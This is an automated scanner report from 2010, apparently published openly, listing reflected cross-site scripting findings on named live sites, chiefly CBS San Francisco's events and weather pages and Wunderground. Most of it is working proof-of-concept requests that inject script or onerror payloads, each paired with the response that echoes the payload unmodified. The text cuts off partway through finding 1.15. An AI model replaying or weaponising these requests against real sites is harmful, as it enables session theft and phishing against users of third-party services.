Cross Site Scripting, XSS, HTTP Header Injection Report PoC

Example Cross Site Scripting for SFO Area TV Station, Partners | 12-12-2010

Loading
Report generated by XSS.CX at Sun Dec 12 14:31:25 CST 2010.


Contents

1. Cross-site scripting (reflected)

1.1. http://events.sanfrancisco.cbslocal.com/localevents/category/100/101000-Arts [REST URL parameter 4]

1.2. http://events.sanfrancisco.cbslocal.com/localevents/category/100/101000-Arts [name of an arbitrarily supplied request parameter]

1.3. http://events.sanfrancisco.cbslocal.com/localevents/category/100/104000-Community [REST URL parameter 4]

1.4. http://events.sanfrancisco.cbslocal.com/localevents/category/100/104000-Community [name of an arbitrarily supplied request parameter]

1.5. http://events.sanfrancisco.cbslocal.com/localevents/category/100/108000-Music [REST URL parameter 4]

1.6. http://events.sanfrancisco.cbslocal.com/localevents/category/100/108000-Music [name of an arbitrarily supplied request parameter]

1.7. http://stationdata.wunderground.com/cgi-bin/stationdata [REST URL parameter 1]

1.8. http://stationdata.wunderground.com/cgi-bin/stationdata [REST URL parameter 2]

1.9. http://weather.sanfrancisco.cbslocal.com/US/CA/Mountain_View.html [REST URL parameter 2]

1.10. http://weather.sanfrancisco.cbslocal.com/auto/kpixV4/CA/American_Canyon.html [REST URL parameter 2]

1.11. http://weather.sanfrancisco.cbslocal.com/auto/kpixV4/CA/Concord.html [REST URL parameter 2]

1.12. http://weather.sanfrancisco.cbslocal.com/auto/kpixV4/CA/Moffett_Field.html [REST URL parameter 2]

1.13. http://weather.sanfrancisco.cbslocal.com/auto/kpixV4/CA/Novato.html [REST URL parameter 2]

1.14. http://weather.sanfrancisco.cbslocal.com/auto/kpixV4/CA/Oakland.html [REST URL parameter 2]

1.15. http://weather.sanfrancisco.cbslocal.com/auto/kpixV4/CA/Palo_Alto.html [REST URL parameter 2]

1.16. http://weather.sanfrancisco.cbslocal.com/auto/kpixV4/CA/Pleasanton.html [REST URL parameter 2]

1.17. http://weather.sanfrancisco.cbslocal.com/auto/kpixV4/CA/San_Carlos.html [REST URL parameter 2]

1.18. http://weather.sanfrancisco.cbslocal.com/auto/kpixV4/CA/San_Francisco.html [REST URL parameter 2]

1.19. http://weather.sanfrancisco.cbslocal.com/auto/kpixV4/CA/San_Lorenzo.html [REST URL parameter 2]

1.20. http://weather.sanfrancisco.cbslocal.com/auto/kpixV4/Region/Southwest/2xRadar.html [REST URL parameter 2]

1.21. http://weather.sanfrancisco.cbslocal.com/auto/kpixV4/Region/Southwest/2xRadar.html [REST URL parameter 4]

1.22. http://weather.sanfrancisco.cbslocal.com/auto/kpixV4/radar/radblast.asp [REST URL parameter 2]

1.23. http://weather.sanfrancisco.cbslocal.com/auto/kpixV4/ski/CA/ [REST URL parameter 2]

1.24. http://weather.sanfrancisco.cbslocal.com/auto/kpixV4/ski/CA/ [REST URL parameter 4]

1.25. http://www.visitlasvegas.com/ [name of an arbitrarily supplied request parameter]

1.26. http://www.wunderground.com/stationmaps/gmap.asp [name of an arbitrarily supplied request parameter]

1.27. http://www.wunderground.com/stationmaps/gmap.asp [name of an arbitrarily supplied request parameter]



1. Cross-site scripting (reflected)
There are 27 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://events.sanfrancisco.cbslocal.com/localevents/category/100/101000-Arts [REST URL parameter 4]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://events.sanfrancisco.cbslocal.com
Path:   /localevents/category/100/101000-Arts

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8620e"><script>alert(1)</script>31059ccd4c2 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /localevents/category/100/101000-Arts8620e"><script>alert(1)</script>31059ccd4c2 HTTP/1.1
Host: events.sanfrancisco.cbslocal.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=E59858B3B4DA163F4B3936DD625B954D; __utmz=160676543.1292182045.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=160676543.342033343.1292182045.1292182045.1292182045.1; __utmc=160676543; __utmb=160676543.2.10.1292182045; __qca=P0-2068012105-1292182045067;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: userId=3085951; Expires=Mon, 12-Dec-2011 19:45:43 GMT; Path=/
Content-Type: text/html;charset=ISO-8859-1
Date: Sun, 12 Dec 2010 19:45:43 GMT
Connection: close


                           
...[SNIP]...
<a href="/localevents/category/100/101000-Arts8620e"><script>alert(1)</script>31059ccd4c2?&start=11">
...[SNIP]...

1.2. http://events.sanfrancisco.cbslocal.com/localevents/category/100/101000-Arts [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://events.sanfrancisco.cbslocal.com
Path:   /localevents/category/100/101000-Arts

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8a49f"><script>alert(1)</script>f79867dfb8e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /localevents/category/100/101000-Arts?8a49f"><script>alert(1)</script>f79867dfb8e=1 HTTP/1.1
Host: events.sanfrancisco.cbslocal.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=E59858B3B4DA163F4B3936DD625B954D; __utmz=160676543.1292182045.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=160676543.342033343.1292182045.1292182045.1292182045.1; __utmc=160676543; __utmb=160676543.2.10.1292182045; __qca=P0-2068012105-1292182045067;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: userId=3085939; Expires=Mon, 12-Dec-2011 19:45:41 GMT; Path=/
Set-Cookie: JSESSIONID=6D451A6A180D81A9AD09745DC6ECD448; Path=/
Content-Type: text/html;charset=ISO-8859-1
Date: Sun, 12 Dec 2010 19:45:41 GMT
Connection: close


                           
...[SNIP]...
<a href="/localevents/category/100/101000-Arts?&8a49f"><script>alert(1)</script>f79867dfb8e=1&start=11">
...[SNIP]...

1.3. http://events.sanfrancisco.cbslocal.com/localevents/category/100/104000-Community [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://events.sanfrancisco.cbslocal.com
Path:   /localevents/category/100/104000-Community

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6b314"><script>alert(1)</script>78f82e79d32 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /localevents/category/100/104000-Community6b314"><script>alert(1)</script>78f82e79d32 HTTP/1.1
Host: events.sanfrancisco.cbslocal.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=E59858B3B4DA163F4B3936DD625B954D; __utmz=160676543.1292182045.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=160676543.342033343.1292182045.1292182045.1292182045.1; __utmc=160676543; __utmb=160676543.2.10.1292182045; __qca=P0-2068012105-1292182045067;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: userId=3085979; Expires=Mon, 12-Dec-2011 19:45:56 GMT; Path=/
Set-Cookie: JSESSIONID=F46A6787C43FF5C36007140465A381ED; Path=/
Content-Type: text/html;charset=ISO-8859-1
Date: Sun, 12 Dec 2010 19:45:55 GMT
Connection: close


                           
...[SNIP]...
<a href="/localevents/category/100/104000-Community6b314"><script>alert(1)</script>78f82e79d32?&start=11">
...[SNIP]...

1.4. http://events.sanfrancisco.cbslocal.com/localevents/category/100/104000-Community [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://events.sanfrancisco.cbslocal.com
Path:   /localevents/category/100/104000-Community

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ba3d5"><script>alert(1)</script>9878cbd1d68 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /localevents/category/100/104000-Community?ba3d5"><script>alert(1)</script>9878cbd1d68=1 HTTP/1.1
Host: events.sanfrancisco.cbslocal.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=E59858B3B4DA163F4B3936DD625B954D; __utmz=160676543.1292182045.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=160676543.342033343.1292182045.1292182045.1292182045.1; __utmc=160676543; __utmb=160676543.2.10.1292182045; __qca=P0-2068012105-1292182045067;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: userId=3085976; Expires=Mon, 12-Dec-2011 19:45:52 GMT; Path=/
Set-Cookie: JSESSIONID=D2AB01B7CCC3FC6755F38D7FD8B2A432; Path=/
Content-Type: text/html;charset=ISO-8859-1
Date: Sun, 12 Dec 2010 19:45:52 GMT
Connection: close


                           
...[SNIP]...
<a href="/localevents/category/100/104000-Community?&ba3d5"><script>alert(1)</script>9878cbd1d68=1&start=11">
...[SNIP]...

1.5. http://events.sanfrancisco.cbslocal.com/localevents/category/100/108000-Music [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://events.sanfrancisco.cbslocal.com
Path:   /localevents/category/100/108000-Music

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6d489"><script>alert(1)</script>f8183312b47 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /localevents/category/100/108000-Music6d489"><script>alert(1)</script>f8183312b47 HTTP/1.1
Host: events.sanfrancisco.cbslocal.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=E59858B3B4DA163F4B3936DD625B954D; __utmz=160676543.1292182045.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=160676543.342033343.1292182045.1292182045.1292182045.1; __utmc=160676543; __utmb=160676543.2.10.1292182045; __qca=P0-2068012105-1292182045067;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: userId=3085977; Expires=Mon, 12-Dec-2011 19:45:52 GMT; Path=/
Content-Type: text/html;charset=ISO-8859-1
Date: Sun, 12 Dec 2010 19:45:52 GMT
Connection: close


                           
...[SNIP]...
<a href="/localevents/category/100/108000-Music6d489"><script>alert(1)</script>f8183312b47?&start=11">
...[SNIP]...

1.6. http://events.sanfrancisco.cbslocal.com/localevents/category/100/108000-Music [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://events.sanfrancisco.cbslocal.com
Path:   /localevents/category/100/108000-Music

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 79b01"><script>alert(1)</script>2801d5519f2 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /localevents/category/100/108000-Music?79b01"><script>alert(1)</script>2801d5519f2=1 HTTP/1.1
Host: events.sanfrancisco.cbslocal.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=E59858B3B4DA163F4B3936DD625B954D; __utmz=160676543.1292182045.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=160676543.342033343.1292182045.1292182045.1292182045.1; __utmc=160676543; __utmb=160676543.2.10.1292182045; __qca=P0-2068012105-1292182045067;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: userId=3085964; Expires=Mon, 12-Dec-2011 19:45:49 GMT; Path=/
Set-Cookie: JSESSIONID=C8B643308228C5DC5A039B68206FD7F1; Path=/
Content-Type: text/html;charset=ISO-8859-1
Date: Sun, 12 Dec 2010 19:45:48 GMT
Connection: close


                           
...[SNIP]...
<a href="/localevents/category/100/108000-Music?&79b01"><script>alert(1)</script>2801d5519f2=1&start=11">
...[SNIP]...

1.7. http://stationdata.wunderground.com/cgi-bin/stationdata [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://stationdata.wunderground.com
Path:   /cgi-bin/stationdata

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 4e3f2<script>alert(1)</script>a5ff15cf0a was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /cgi-bin4e3f2<script>alert(1)</script>a5ff15cf0a/stationdata HTTP/1.1
Host: stationdata.wunderground.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: DT=1292182118:16223:365-n3;

Response

HTTP/1.1 404 Not Found
Content-type: text/html
Content-Length: 209
Connection: close

<html><head><title>404 Not Found</title><head><body><h1>Not Found</h1>The requested URL <code>/cgi-bin4e3f2<script>alert(1)</script>a5ff15cf0a/stationdata</code> was not found on this server.<br></bod
...[SNIP]...

1.8. http://stationdata.wunderground.com/cgi-bin/stationdata [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://stationdata.wunderground.com
Path:   /cgi-bin/stationdata

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 6771f<script>alert(1)</script>18c356669ab was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /cgi-bin/stationdata6771f<script>alert(1)</script>18c356669ab HTTP/1.1
Host: stationdata.wunderground.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: DT=1292182118:16223:365-n3;

Response

HTTP/1.1 404 Not Found
Content-type: text/html
Content-Length: 210
Connection: close

<html><head><title>404 Not Found</title><head><body><h1>Not Found</h1>The requested URL <code>/cgi-bin/stationdata6771f<script>alert(1)</script>18c356669ab</code> was not found on this server.<br></bo
...[SNIP]...

1.9. http://weather.sanfrancisco.cbslocal.com/US/CA/Mountain_View.html [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://weather.sanfrancisco.cbslocal.com
Path:   /US/CA/Mountain_View.html

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7629f"><script>alert(1)</script>f59ff955605 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /US/7629f"><script>alert(1)</script>f59ff955605/Mountain_View.html HTTP/1.1
Host: weather.sanfrancisco.cbslocal.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: RadarID=MUX; __utmz=160676543.1292182045.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); RadarRegion=c1; ASC=1292182108:1; __utma=160676543.342033343.1292182045.1292182045.1292182045.1; __utmc=160676543; __utmb=160676543.4.10.1292182045; __qca=P0-2068012105-1292182045067;

Response (redirected)

HTTP/1.1 200 OK
Date: Sun, 12 Dec 2010 19:33:26 GMT
Server: Apache/1.3.33 (Unix) PHP/4.4.0
X-CreationTime: 0.492
Set-Cookie: ASC=1292182406:2; path=/; expires=Fri, 01-Jan-2020 00:00:00 GMT; domain=.wunderground.com
Set-Cookie: RadarID=BHX; path=/; expires=Wed, 09-Dec-2020 19:33:27 GMT; domain=.sanfrancisco.cbslocal.com
Set-Cookie: RadarRegion=b1; path=/; expires=Wed, 09-Dec-2020 19:33:27 GMT; domain=.sanfrancisco.cbslocal.com
Connection: close
Content-Type: text/html
Content-Length: 62454


<!DOCTYPE html>
<html dir="ltr" lang="en" xmlns:fb="http://www.facebook.com/2008/fbml">
<head>
<meta charset="UTF-8" />
<meta http-equiv="refresh" content="240">
<title> CBS San Francisco- News, Spor
...[SNIP]...
<a href="/US/7629f"><script>alert(1)</script>f59ff955605/?PWS=1">
...[SNIP]...

1.10. http://weather.sanfrancisco.cbslocal.com/auto/kpixV4/CA/American_Canyon.html [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://weather.sanfrancisco.cbslocal.com
Path:   /auto/kpixV4/CA/American_Canyon.html

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 10d8b"><img%20src%3da%20onerror%3dalert(1)>1f2f27110ad was submitted in the REST URL parameter 2. This input was echoed as 10d8b"><img src=a onerror=alert(1)>1f2f27110ad in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /auto/kpixV410d8b"><img%20src%3da%20onerror%3dalert(1)>1f2f27110ad/CA/American_Canyon.html HTTP/1.1
Host: weather.sanfrancisco.cbslocal.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: RadarID=MUX; __utmz=160676543.1292182045.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); RadarRegion=c1; ASC=1292182108:1; __utma=160676543.342033343.1292182045.1292182045.1292182045.1; __utmc=160676543; __utmb=160676543.4.10.1292182045; __qca=P0-2068012105-1292182045067;

Response (redirected)

HTTP/1.1 200 OK
Date: Sun, 12 Dec 2010 19:37:30 GMT
Server: Apache/1.3.33 (Unix) PHP/4.4.0
X-CreationTime: 0.208
Set-Cookie: ASC=1292182650:2; path=/; expires=Fri, 01-Jan-2020 00:00:00 GMT; domain=.wunderground.com
Connection: close
Content-Type: text/html
Content-Length: 57258


<!DOCTYPE html>
<html dir="ltr" lang="en" xmlns:fb="http://www.facebook.com/2008/fbml">
<head>
<meta charset="UTF-8" />
<meta http-equiv="refresh" content="240">
<title> CBS San Francisco- News, Spor
...[SNIP]...
<input type="hidden" name="brand" value="kpixV410d8b"><img src=a onerror=alert(1)>1f2f27110ad">
...[SNIP]...

1.11. http://weather.sanfrancisco.cbslocal.com/auto/kpixV4/CA/Concord.html [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://weather.sanfrancisco.cbslocal.com
Path:   /auto/kpixV4/CA/Concord.html

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fffb0"><img%20src%3da%20onerror%3dalert(1)>17c78476cf5 was submitted in the REST URL parameter 2. This input was echoed as fffb0"><img src=a onerror=alert(1)>17c78476cf5 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /auto/kpixV4fffb0"><img%20src%3da%20onerror%3dalert(1)>17c78476cf5/CA/Concord.html HTTP/1.1
Host: weather.sanfrancisco.cbslocal.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: RadarID=MUX; __utmz=160676543.1292182045.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); RadarRegion=c1; ASC=1292182108:1; __utma=160676543.342033343.1292182045.1292182045.1292182045.1; __utmc=160676543; __utmb=160676543.4.10.1292182045; __qca=P0-2068012105-1292182045067;

Response (redirected)

HTTP/1.1 200 OK
Date: Sun, 12 Dec 2010 19:37:11 GMT
Server: Apache/1.3.33 (Unix) PHP/4.4.0
X-CreationTime: 0.272
Set-Cookie: ASC=1292182631:2; path=/; expires=Fri, 01-Jan-2020 00:00:00 GMT; domain=.wunderground.com
Connection: close
Content-Type: text/html
Content-Length: 57258


<!DOCTYPE html>
<html dir="ltr" lang="en" xmlns:fb="http://www.facebook.com/2008/fbml">
<head>
<meta charset="UTF-8" />
<meta http-equiv="refresh" content="240">
<title> CBS San Francisco- News, Spor
...[SNIP]...
<input type="hidden" name="brand" value="kpixV4fffb0"><img src=a onerror=alert(1)>17c78476cf5">
...[SNIP]...

1.12. http://weather.sanfrancisco.cbslocal.com/auto/kpixV4/CA/Moffett_Field.html [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://weather.sanfrancisco.cbslocal.com
Path:   /auto/kpixV4/CA/Moffett_Field.html

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 44844"><img%20src%3da%20onerror%3dalert(1)>de55211d048 was submitted in the REST URL parameter 2. This input was echoed as 44844"><img src=a onerror=alert(1)>de55211d048 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /auto/kpixV444844"><img%20src%3da%20onerror%3dalert(1)>de55211d048/CA/Moffett_Field.html HTTP/1.1
Host: weather.sanfrancisco.cbslocal.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: RadarID=MUX; __utmz=160676543.1292182045.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); RadarRegion=c1; ASC=1292182108:1; __utma=160676543.342033343.1292182045.1292182045.1292182045.1; __utmc=160676543; __utmb=160676543.4.10.1292182045; __qca=P0-2068012105-1292182045067;

Response (redirected)

HTTP/1.1 200 OK
Date: Sun, 12 Dec 2010 19:37:37 GMT
Server: Apache/1.3.33 (Unix) PHP/4.4.0
X-CreationTime: 0.204
Set-Cookie: ASC=1292182657:2; path=/; expires=Fri, 01-Jan-2020 00:00:00 GMT; domain=.wunderground.com
Connection: close
Content-Type: text/html
Content-Length: 57258


<!DOCTYPE html>
<html dir="ltr" lang="en" xmlns:fb="http://www.facebook.com/2008/fbml">
<head>
<meta charset="UTF-8" />
<meta http-equiv="refresh" content="240">
<title> CBS San Francisco- News, Spor
...[SNIP]...
<input type="hidden" name="brand" value="kpixV444844"><img src=a onerror=alert(1)>de55211d048">
...[SNIP]...

1.13. http://weather.sanfrancisco.cbslocal.com/auto/kpixV4/CA/Novato.html [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://weather.sanfrancisco.cbslocal.com
Path:   /auto/kpixV4/CA/Novato.html

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e48e8"><img%20src%3da%20onerror%3dalert(1)>70181429ea5 was submitted in the REST URL parameter 2. This input was echoed as e48e8"><img src=a onerror=alert(1)>70181429ea5 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /auto/kpixV4e48e8"><img%20src%3da%20onerror%3dalert(1)>70181429ea5/CA/Novato.html HTTP/1.1
Host: weather.sanfrancisco.cbslocal.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: RadarID=MUX; __utmz=160676543.1292182045.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); RadarRegion=c1; ASC=1292182108:1; __utma=160676543.342033343.1292182045.1292182045.1292182045.1; __utmc=160676543; __utmb=160676543.4.10.1292182045; __qca=P0-2068012105-1292182045067;

Response (redirected)

HTTP/1.1 200 OK
Date: Sun, 12 Dec 2010 19:37:31 GMT
Server: Apache/1.3.33 (Unix) PHP/4.4.0
X-CreationTime: 0.272
Set-Cookie: ASC=1292182651:2; path=/; expires=Fri, 01-Jan-2020 00:00:00 GMT; domain=.wunderground.com
Connection: close
Content-Type: text/html
Content-Length: 57258


<!DOCTYPE html>
<html dir="ltr" lang="en" xmlns:fb="http://www.facebook.com/2008/fbml">
<head>
<meta charset="UTF-8" />
<meta http-equiv="refresh" content="240">
<title> CBS San Francisco- News, Spor
...[SNIP]...
<input type="hidden" name="brand" value="kpixV4e48e8"><img src=a onerror=alert(1)>70181429ea5">
...[SNIP]...

1.14. http://weather.sanfrancisco.cbslocal.com/auto/kpixV4/CA/Oakland.html [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://weather.sanfrancisco.cbslocal.com
Path:   /auto/kpixV4/CA/Oakland.html

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b1a55"><img%20src%3da%20onerror%3dalert(1)>9fe19fd6392 was submitted in the REST URL parameter 2. This input was echoed as b1a55"><img src=a onerror=alert(1)>9fe19fd6392 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /auto/kpixV4b1a55"><img%20src%3da%20onerror%3dalert(1)>9fe19fd6392/CA/Oakland.html HTTP/1.1
Host: weather.sanfrancisco.cbslocal.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: RadarID=MUX; __utmz=160676543.1292182045.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); RadarRegion=c1; ASC=1292182108:1; __utma=160676543.342033343.1292182045.1292182045.1292182045.1; __utmc=160676543; __utmb=160676543.4.10.1292182045; __qca=P0-2068012105-1292182045067;

Response (redirected)

HTTP/1.1 200 OK
Date: Sun, 12 Dec 2010 19:36:00 GMT
Server: Apache/1.3.33 (Unix) PHP/4.4.0
X-CreationTime: 0.203
Set-Cookie: ASC=1292182560:2; path=/; expires=Fri, 01-Jan-2020 00:00:00 GMT; domain=.wunderground.com
Connection: close
Content-Type: text/html
Content-Length: 57261


<!DOCTYPE html>
<html dir="ltr" lang="en" xmlns:fb="http://www.facebook.com/2008/fbml">
<head>
<meta charset="UTF-8" />
<meta http-equiv="refresh" content="240">
<title> CBS San Francisco- News, Spor
...[SNIP]...
<input type="hidden" name="brand" value="kpixV4b1a55"><img src=a onerror=alert(1)>9fe19fd6392">
...[SNIP]...

1.15. http://weather.sanfrancisco.cbslocal.com/auto/kpixV4/CA/Palo_Alto.html [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://weather.sanfrancisco.cbslocal.com
Path:   /auto/kpixV4/CA/Palo_Alto.html

Issue detail

